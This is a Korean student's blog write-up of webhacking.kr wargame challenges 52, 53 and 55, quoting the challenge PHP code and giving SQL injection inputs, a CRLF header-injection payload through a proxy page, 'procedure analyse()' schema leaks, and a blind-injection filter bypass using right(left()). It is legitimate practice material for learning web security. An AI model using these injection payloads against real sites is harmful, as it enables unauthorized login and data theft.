webhacking.kr 52번, 53번, 55번 풀이

julia·2021년 5월 11일
0

💡 52번 문제 풀이


guest의 이름과 비밀번호는 모두 guest라고 주어져있으며, admin page로 들어가는 것이 이 문제의 목적이다. 우선 입력칸에 잘못된 답을 적으면 login fail과 소스코드가 뜬다.

<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}

코드를 보면, $_SESSION['login'] == admin 이어야 하고 $_SERVER['REMOTE_ADDR'] ip주소가 172.17.0.(뭐시기) 여야 한다는 걸 알 수 있다.
다시 입력칸으로 돌아와, 이름에 admin'#, 비번에 아무거나 입력하면 admin으로 로그인이 된 걸 볼 수 있다. 이제 ip만 맞으면 되는데, 버프스위트로 인터셉트해보면

이렇게 나온다. 여기서 Authorization: Basic YWRtaW4nIzoxMTEx 이 부분이 눈에 들어오는데 Base64로 디코딩해보면 admin'#:1111 이렇게 내가 입력칸에 쓴 값들이 보인다!!
다음으로 문제에서 제공하는 프록시 페이지에 들어가보면 http://webhacking.kr:10008/proxy.php?page=/ 이런 url이 뜨는데, 이 뒤에 admin을 써보면
Request이 GET / HTTP/1.1 에서
GET /admin/ HTTP/1.1 로 변한 것을 볼 수 있다. 따라서 우리는 몇 가지 값들을 입력하여 최종적으로

GET /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIzoxMTEx
Cookie: PHPSESSID=세션아이디
이 값들을 만들어줘야 한다.(버프스위트에 떴던 값들)
따라서 쿠키에서 세션아이디를 확인한 후

admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20YWRtaW4nLS0gLToxMjM0%3d%0d%0aCookie:%20PHPSESSID=(세션아이디)%0d%0atemp:%20

이렇게 입력하면 플래그 값이 뜬다. 이때 여기서 저 많은 %뭐시기 값들은 개행 문자이거나 공백을 인코딩한 것.
출처: https://dailylearn.tistory.com/91

💡 53번 문제 풀이

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
<?php
  $db = dbconnect();
  include "./tablename.php";
  if($_GET['answer'] == $hidden_table) solve(53);
  if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
  echo($result[0]);
?>

$hidden_table 테이블명을 먼저 알아내야 한다.
찾아보니 procedure analysis() 함수를 이용하면 현재 사용 중인 컬럼에 대한 정보를 뽑아낼 수 있다고 한다. url에 ?val=1 procedure analysis() 이렇게 입력해주면 (val에는 아무 값이나 입력해주었다) 다음과 같은 화면이 나온다.


여기 나오는 call53_~05까지가 테이블명이고, 이를 answer값에 넣어 url에 보내주면 문제 해결!

💡 55번 문제 풀이


마우스를 움직일 때마다 스코어가 바뀐다. 일단 rank를 눌러보면 여러 사람들의 rank, id, score 가 쫙 뜨고, 밑에 mysqli_query(db,"insert into chall55 values('{_SESSION['id']}','".trim(_POST['score'])."','{flag}')"); 라는 쿼리가 나와있다.
flag는 세번째 필드인 것 같고 전 문제에서 이용했던 procedure analyse() 함수로 컬럼명을 찾아보기로 했다.
/rank.php?score=1 limit 2,1 procedure analyse()
이렇게 작성해주면 p4ssw0rd_1123581321 라는 컬럼명이 뜬다.
이제 blind sql injection을 위해 참 거짓의 결과를 구분해야 한다. ?score=1 and 1=1 을 입력하면 나같은 경우는 Piterpan 이라는 문자열이 출력되고, 거짓반응 때는 아무런 문자열이 출력되지 않았다. 이 점을 이용해 파이썬 코드를 돌려보겠다.
https://dailylearn.tistory.com/94 이 블로그의 코드를 참고하였는데 여기서 right(left(~~ 를 처음 보았고 이를 조금 정리해보기로 했다.
이 문제에서는 substr 함수를 필터링하고 있는데 이는 blind 인젝션에서 값을 하나씩 대입해가며 찾을 때 필요한 함수이다. 이를 대체하기 위한 것이 바로 right 와 left 인 것이다.
예시로 right("문자열", len) 은 문자열의 오른쪽에서 len길이만큼 문자열을 반환하는 것이다.
따라서 substr('pw',1,1) 은 right(left('pw',1),1) 과 같다고 볼 수 있는 것이다.
얻어진 플래그 값을 입력하면 문제 해결~

😎 느낀점

이번 주 문제들이 확실히 난이도가 높아졌고 문제 해결을 위한 단계가 만만치 않다는 걸 체감할 수 있었다. 최대한 스스로의 힘으로 해결하려고 하는데 아직 잘 안되는 것 같아 슬프다ㅜㅜ 이번에도 구글의 힘을 빌려 procedure analyse() 와 right(left(~ 함수에 대해 처음 알게 되었다. 처음 알게 되었다고 해서 안좋은 건 아니다. 앞으로 이런 문제가 나왔을 때 이 함수들을 떠올리고 적절하게 잘 쓰면 되니까!ㅎㅎ 이번 주도 화이팅~

profile
Move Forward

0개의 댓글